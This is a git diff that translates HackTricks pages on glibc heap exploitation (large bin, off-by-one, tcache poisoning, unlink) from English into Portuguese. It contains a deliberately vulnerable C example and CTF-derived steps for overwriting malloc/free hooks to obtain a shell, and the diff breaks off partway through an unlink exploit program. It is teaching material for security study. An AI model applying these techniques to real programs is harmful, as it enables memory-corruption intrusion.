+É possível encontrar um ótimo exemplo em [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
 
-Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
+Basicamente, aqui você pode ver como, na versão "atual" mais recente do glibc (2.35), não é verificado: **`P->bk_nextsize`**, permitindo modificar um endereço arbitrário com o valor de um chunk de large bin se certas condições forem atendidas.
 
-In that example you can find the following conditions:
+Nesse exemplo, você pode encontrar as seguintes condições:
 
-- A large chunk is allocated
-- A large chunk smaller than the first one but in the same index is allocated
-  - Must be smalled so in the bin it must go first
-- (A chunk to prevent merging with the top chunk is created)
-- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
-- Then, the second large chunk is freed
-- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
-- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
+- Um chunk grande é alocado
+- Um chunk grande menor que o primeiro, mas no mesmo índice, é alocado
+- Deve ser menor, então no bin deve ir primeiro
+- (Um chunk para evitar a fusão com o chunk superior é criado)
+- Em seguida, o primeiro chunk grande é liberado e um novo chunk maior que ele é alocado -> Chunk1 vai para o large bin
+- Então, o segundo chunk grande é liberado
+- Agora, a vulnerabilidade: O atacante pode modificar `chunk1->bk_nextsize` para `[target-0x20]`
+- Em seguida, um chunk maior que o chunk 2 é alocado, então chunk2 é inserido no large bin sobrescrevendo o endereço `chunk1->bk_nextsize->fd_nextsize` com o endereço de chunk2
 
 > [!TIP]
-> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
-
-This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
+> Existem outros cenários potenciais, a questão é adicionar ao large bin um chunk que seja **menor** que um chunk X atual no bin, então ele precisa ser inserido logo antes dele no bin, e precisamos ser capazes de modificar **`bk_nextsize`** de X, pois é lá que o endereço do chunk menor será escrito.
 
+Este é o código relevante do malloc. Comentários foram adicionados para entender melhor como o endereço foi sobrescrito:
 ```c
 /* if smaller than smallest, bypass loop below */
 assert (chunk_main_arena (bck->bk));
 if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
-  {
-    fwd = bck; // fwd = p1
-    bck = bck->bk; // bck = p1->bk
+{
+fwd = bck; // fwd = p1
+bck = bck->bk; // bck = p1->bk
 
-    victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
-    victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
-    fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
-  }
+victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
+victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
+fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
+}
 ```
+Isso pode ser usado para **sobrescrever a variável global `global_max_fast`** da libc para então explorar um ataque de fast bin com chunks maiores.
 
-This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
+Você pode encontrar outra ótima explicação deste ataque em [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
 
-You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
-
-### Other examples
+### Outros exemplos
 
 - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
-  - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
-  - The write primitive is more complex, because `global_max_fast` is useless here.
-  - FSOP is needed to finish the exploit.
+- Ataque de large bin na mesma situação em que aparece em [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
+- O primitive de escrita é mais complexo, porque `global_max_fast` é inútil aqui.
+- FSOP é necessário para finalizar a exploração.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md
index 000044db5..7ef72412b 100644
--- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md
+++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md
@@ -4,112 +4,110 @@
 
 ## Basic Information
 
-Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
+Ter acesso a um overflow de 1B permite que um atacante modifique o campo `size` do próximo chunk. Isso permite manipular quais chunks estão realmente liberados, potencialmente gerando um chunk que contém outro chunk legítimo. A exploração é semelhante a [double free](double-free.md) ou chunks sobrepostos.
 
-There are 2 types of off by one vulnerabilities:
+Existem 2 tipos de vulnerabilidades off by one:
 
-- Arbitrary byte: This kind allows to overwrite that byte with any value
-- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
-  - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
-  - This can be expoited with the [House of Einherjar](house-of-einherjar.md).
-  - If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
+- Byte arbitrário: Este tipo permite sobrescrever esse byte com qualquer valor
+- Byte nulo (off-by-null): Este tipo permite sobrescrever esse byte apenas com 0x00
+- Um exemplo comum dessa vulnerabilidade pode ser visto no seguinte código onde o comportamento de `strlen` e `strcpy` é inconsistente, o que permite definir um byte 0x00 no início do próximo chunk.
+- Isso pode ser explorado com a [House of Einherjar](house-of-einherjar.md).
+- Se usar Tcache, isso pode ser aproveitado para uma situação de [double free](double-free.md).
 
 

 
 Off-by-null
-
 ```c
 // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
 int main(void)
 {
-    char buffer[40]="";
-    void *chunk1;
-    chunk1 = malloc(24);
-    puts("Get Input");
-    gets(buffer);
-    if(strlen(buffer)==24)
-    {
-        strcpy(chunk1,buffer);
-    }
-    return 0;
+char buffer[40]="";
+void *chunk1;
+chunk1 = malloc(24);
+puts("Get Input");
+gets(buffer);
+if(strlen(buffer)==24)
+{
+strcpy(chunk1,buffer);
+}
+return 0;
 }
 ```
-
 

 
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
+Entre outras verificações, agora sempre que um chunk é liberado, o tamanho anterior é comparado com o tamanho configurado no chunk da metadata, tornando esse ataque bastante complexo a partir da versão 2.28.
 
-### Code example:
+### Exemplo de código:
 
 - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
-- This attack is no longer working due to the use of Tcaches.
-  - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
+- Este ataque não está mais funcionando devido ao uso de Tcaches.
+- Além disso, se você tentar abusar dele usando chunks maiores (para que os tcaches não estejam envolvidos), você receberá o erro: `malloc(): invalid next size (unsorted)`
 
-### Goal
+### Objetivo
 
-- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
+- Fazer um chunk ser contido dentro de outro chunk, de modo que o acesso de escrita sobre esse segundo chunk permita sobrescrever o contido.
 
-### Requirements
+### Requisitos
 
-- Off by one overflow to modify the size metadata information
+- Off by one overflow para modificar as informações de tamanho da metadata.
 
-### General off-by-one attack
+### Ataque geral off-by-one
 
-- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
-- Free `C` (inserted into 0x20 Tcache free-list).
-- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
-- Now we have `B` containing the free chunk `C`
-- Free `B` and allocate a 0x40 chunk (it will be placed here again)
-- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
+- Alocar três chunks `A`, `B` e `C` (digamos tamanhos 0x20), e outro para evitar a consolidação com o top-chunk.
+- Liberar `C` (inserido na lista de chunks livres do Tcache de 0x20).
+- Usar o chunk `A` para transbordar sobre `B`. Abusar do off-by-one para modificar o campo `size` de `B` de 0x21 para 0x41.
+- Agora temos `B` contendo o chunk livre `C`.
+- Liberar `B` e alocar um chunk de 0x40 (ele será colocado aqui novamente).
+- Podemos modificar o ponteiro `fd` de `C`, que ainda está livre (envenenamento do Tcache).
 
-### Off-by-null attack
+### Ataque off-by-null
 
-- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
-- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
-- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
-- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
+- 3 chunks de memória (a, b, c) são reservados um após o outro. Em seguida, o do meio é liberado. O primeiro contém uma vulnerabilidade de off by one e o atacante a abusa com um 0x00 (se o byte anterior fosse 0x10, faria com que o chunk do meio indicasse que é 0x10 menor do que realmente é).
+- Então, 2 chunks menores são alocados no chunk liberado do meio (b), no entanto, como `b + b->size` nunca atualiza o chunk c porque o endereço apontado é menor do que deveria.
+- Em seguida, b1 e c são liberados. Como `c - c->prev_size` ainda aponta para b (b1 agora), ambos são consolidados em um chunk. No entanto, b2 ainda está entre b1 e c.
+- Finalmente, um novo malloc é realizado reclamando esta área de memória que na verdade vai conter b2, permitindo que o proprietário do novo malloc controle o conteúdo de b2.
 
-This image explains perfectly the attack:
+Esta imagem explica perfeitamente o ataque:
 
 
https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

 
-## Other Examples & References
+## Outros Exemplos & Referências
 
 - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
 - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
-  - Off-by-one because of `strlen` considering the next chunk's `size` field.
-  - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
+- Off-by-one devido ao `strlen` considerar o campo `size` do próximo chunk.
+- Tcache está sendo usado, então um ataque geral off-by-one funciona para obter uma primitiva de escrita arbitrária com envenenamento do Tcache.
 - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
-  - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
-  - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
-  - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
-  - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
+- É possível abusar de um off by one para vazar um endereço do heap porque o byte 0x00 do final de uma string está sendo sobrescrito pelo próximo campo.
+- A escrita arbitrária é obtida abusando da escrita off by one para fazer o ponteiro apontar para outro lugar onde uma estrutura falsa com ponteiros falsos será construída. Então, é possível seguir o ponteiro desta estrutura para obter escrita arbitrária.
+- O endereço da libc é vazado porque se o heap for estendido usando mmap, a memória alocada por mmap tem um deslocamento fixo em relação à libc.
+- Finalmente, a escrita arbitrária é abusada para escrever no endereço de \_\_free_hook com um one gadget.
 - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
-  - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
-  - In the writeup 5 initial chunks are created:
-    - chunk1 (0x200)
-    - chunk2 (0x50)
-    - chunk5 (0x68)
-    - chunk3 (0x1f8)
-    - chunk4 (0xf0)
-    - chunk defense (0x400) to avoid consolidating with top chunk
-  - Then chunk 1, 5 and 3 are freed, so:
-    - ```python
-      [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
-      ```
-  - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
-    - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
-  - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
-    - ```python
-      [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
-      ```
-    - ```python
-      [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
-      ```
-  - Then, `0x200` bytes are allocated filling the original chunk 1
-    - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
-  - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
-  - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
-  - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
+- Existe uma vulnerabilidade NULL off by one na função `getline` que lê linhas de entrada do usuário. Esta função é usada para ler a "chave" do conteúdo e não o conteúdo.
+- No writeup, 5 chunks iniciais são criados:
+- chunk1 (0x200)
+- chunk2 (0x50)
+- chunk5 (0x68)
+- chunk3 (0x1f8)
+- chunk4 (0xf0)
+- chunk defense (0x400) para evitar a consolidação com o top chunk
+- Então, os chunks 1, 5 e 3 são liberados, então:
+- ```python
+[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
+```
+- Então, abusando do chunk3 (0x1f8), o null off-by-one é abusado escrevendo o prev_size para `0x4e0`.
+- Note como os tamanhos dos chunks inicialmente alocados 1, 2, 5 e 3 mais os cabeçalhos de 4 desses chunks somam `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
+- Então, o chunk 4 é liberado, gerando um chunk que consome todos os chunks até o início:
+- ```python
+[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
+```
+- ```python
+[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
+```
+- Então, `0x200` bytes são alocados preenchendo o chunk original 1.
+- E mais 0x200 bytes são alocados e o chunk2 é destruído e, portanto, não há vazamento e isso não funciona? Talvez isso não devesse ser feito.
+- Então, aloca outro chunk com 0x58 "a"s (sobrescrevendo o chunk2 e alcançando o chunk5) e modifica o `fd` do chunk de fast bin do chunk5 apontando para `__malloc_hook`.
+- Então, um chunk de 0x68 é alocado para que o fake fast bin chunk em `__malloc_hook` seja o próximo fast bin chunk.
+- Finalmente, um novo fast bin chunk de 0x68 é alocado e `__malloc_hook` é sobrescrito com um endereço de `one_gadget`.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
index 117f462b6..a8b60f2ac 100644
--- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
+++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md
@@ -1,23 +1,23 @@
-# Overwriting a freed chunk
+# Sobrescrevendo um chunk liberado
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
+Várias das técnicas propostas de exploração de heap precisam ser capazes de sobrescrever ponteiros dentro de chunks liberados. O objetivo desta página é resumir as potenciais vulnerabilidades que poderiam conceder esse acesso:
 
-### Simple Use After Free
+### Uso Simples Após Liberação
 
-If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
+Se for possível para o atacante **escrever informações em um chunk livre**, ele poderia abusar disso para sobrescrever os ponteiros necessários.
 
-### Double Free
+### Liberação Dupla
 
-If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
+Se o atacante puder **`free` duas vezes o mesmo chunk** (liberando outros chunks entre potencialmente) e fazê-lo estar **2 vezes no mesmo bin**, seria possível para o usuário **alocar o chunk mais tarde**, **escrever os ponteiros necessários** e então **alocá-lo novamente**, acionando as ações do chunk sendo alocado (por exemplo, ataque de fast bin, ataque de tcache...)
 
-### Heap Overflow
+### Overflow de Heap
 
-It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
+Pode ser possível **transbordar um chunk alocado tendo ao lado um chunk liberado** e modificar alguns cabeçalhos/ponteiros dele.
 
-### Off-by-one overflow
+### Overflow de Um a Menos
 
-In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
+Neste caso, seria possível **modificar o tamanho** do chunk seguinte na memória. Um atacante poderia abusar disso para **fazer um chunk alocado ter um tamanho maior**, então **`free`**-lo, fazendo com que o chunk fosse **adicionado a um bin de um tamanho diferente** (maior), então alocar o **tamanho falso**, e o ataque terá acesso a um **chunk com um tamanho que é maior** do que realmente é, **concedendo assim uma situação de chunks sobrepostos**, que é explorável da mesma forma que um **overflow de heap** (ver seção anterior).
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
index 7c69db95c..5abe41cf1 100644
--- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md
@@ -4,44 +4,44 @@
 
 ## Basic Information
 
-For more information about what is a Tcache bin check this page:
+Para mais informações sobre o que é um Tcache bin, consulte esta página:
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-First of all, note that the Tcache was introduced in Glibc version 2.26.
+Primeiramente, note que o Tcache foi introduzido na versão 2.26 do Glibc.
 
-The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
+O **ataque Tcache** (também conhecido como **envenenamento de Tcache**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) é muito semelhante ao ataque de fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para que depois seja possível **alocar aquele endereço específico e potencialmente sobrescrever ponteiros**.
 
-However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
+No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever como endereço no novo ponteiro um endereço alinhado (ou executar o binário o suficiente para que o endereço escrito esteja realmente alinhado).
 
-### Tcache indexes attack
+### Ataque de índices Tcache
 
-Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
+Geralmente, é possível encontrar no início do heap um chunk contendo a **quantidade de chunks por índice** dentro do tcache e o endereço do **chunk cabeça de cada índice tcache**. Se por algum motivo for possível modificar essa informação, seria possível **fazer o chunk cabeça de algum índice apontar para um endereço desejado** (como `__malloc_hook`) para então alocar um chunk do tamanho do índice e sobrescrever o conteúdo de `__malloc_hook` neste caso.
 
-## Examples
+## Exemplos
 
 - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
-  - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
-  - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
-    We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
+- **Vazamento de informações da Libc**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **re-alocar o chunk do bin não ordenado** sobrescrevendo apenas os primeiros 8B, deixando o **segundo endereço da libc do chunk intacto para que possamos lê-lo**.
+- **Ataque Tcache**: O binário é vulnerável a um estouro de heap de 1B. Isso será abusado para mudar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Então, esse chunk será **liberado**, adicionando-o ao tcache de chunks de tamanho falso. Em seguida, alocaremos um chunk com o tamanho falso, e o chunk anterior será **retornado sabendo que esse chunk era na verdade menor**, o que nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\
+Abusaremos disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, para que então seja possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar, e então a segunda alocação retornará um chunk em **`malloc_hook`** que pode ser abusado para escrever um **one gadget**.
 - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
-  - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
-  - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
+- **Vazamento de informações da Libc**: Há um uso após a liberação e uma dupla liberação. Neste relato, o autor vazou um endereço da libc lendo o endereço de um chunk colocado em um bin pequeno (como vazá-lo do bin não ordenado, mas do pequeno).
+- **Ataque Tcache**: Um Tcache é realizado via uma **dupla liberação**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` for liberado, consigamos uma shell.
 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
-  - The main vuln here is the capacity to `free` any address in the heap by indicating its offset
-  - **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
-  - Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
-  - Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
-    For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
+- A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu deslocamento.
+- **Ataque de índices Tcache**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk tcache (o chunk com as informações dos bins tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto, um chunk em um índice específico gera o valor 0x100.
+- Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` desse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**.
+- Então, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices tcache.\
+Por exemplo, colocando o endereço do malloc hook em um deles e alocando um chunk do tamanho desse índice garantirá um chunk no calloc hook, o que permite escrever um one gadget para obter uma shell.
 - CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
-  - Same vulnerability as before with one extra restriction
-  - **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
+- Mesma vulnerabilidade que antes com uma restrição extra.
+- **Ataque de índices Tcache**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache**, de modo que seu endereço seja adicionado ao índice tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk tcache como um chunk, o que permite adicionar o free hook como o endereço de um índice, alocá-lo e escrever um one gadget nele.
 - [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
-  - **Write After Free** to add a number to the `fd` pointer.
-  - A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
-  - **Glibc leak** through `stdout` (FSOP).
-  - **Tcache poisoning** to get an arbitrary write primitive.
+- **Write After Free** para adicionar um número ao ponteiro `fd`.
+- Muito de **heap feng-shui** é necessário neste desafio. O relato mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil.
+- **Vazamento de Glibc** através de `stdout` (FSOP).
+- **Envenenamento de Tcache** para obter uma primitiva de escrita arbitrária.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md
index 959ff36db..b09a23e85 100644
--- a/src/binary-exploitation/libc-heap/unlink-attack.md
+++ b/src/binary-exploitation/libc-heap/unlink-attack.md
@@ -2,16 +2,15 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informações Básicas
 
-When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
+Quando este ataque foi descoberto, ele permitia principalmente um WWW (Write What Where), no entanto, algumas **verificações foram adicionadas**, tornando a nova versão do ataque mais interessante, mais complexa e **inútil**.
 
-### Code Example:
+### Exemplo de Código:
 
 

 
-Code
-
+Código
 ```c
 #include 
 #include 
@@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
 // Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
 
 struct chunk_structure {
-  size_t prev_size;
-  size_t size;
-  struct chunk_structure *fd;
-  struct chunk_structure *bk;
-  char buf[10];               // padding
+size_t prev_size;
+size_t size;
+struct chunk_structure *fd;
+struct chunk_structure *bk;
+char buf[10];               // padding
 };
 
 int main() {
-  unsigned long long *chunk1, *chunk2;
-  struct chunk_structure *fake_chunk, *chunk2_hdr;
-  char data[20];
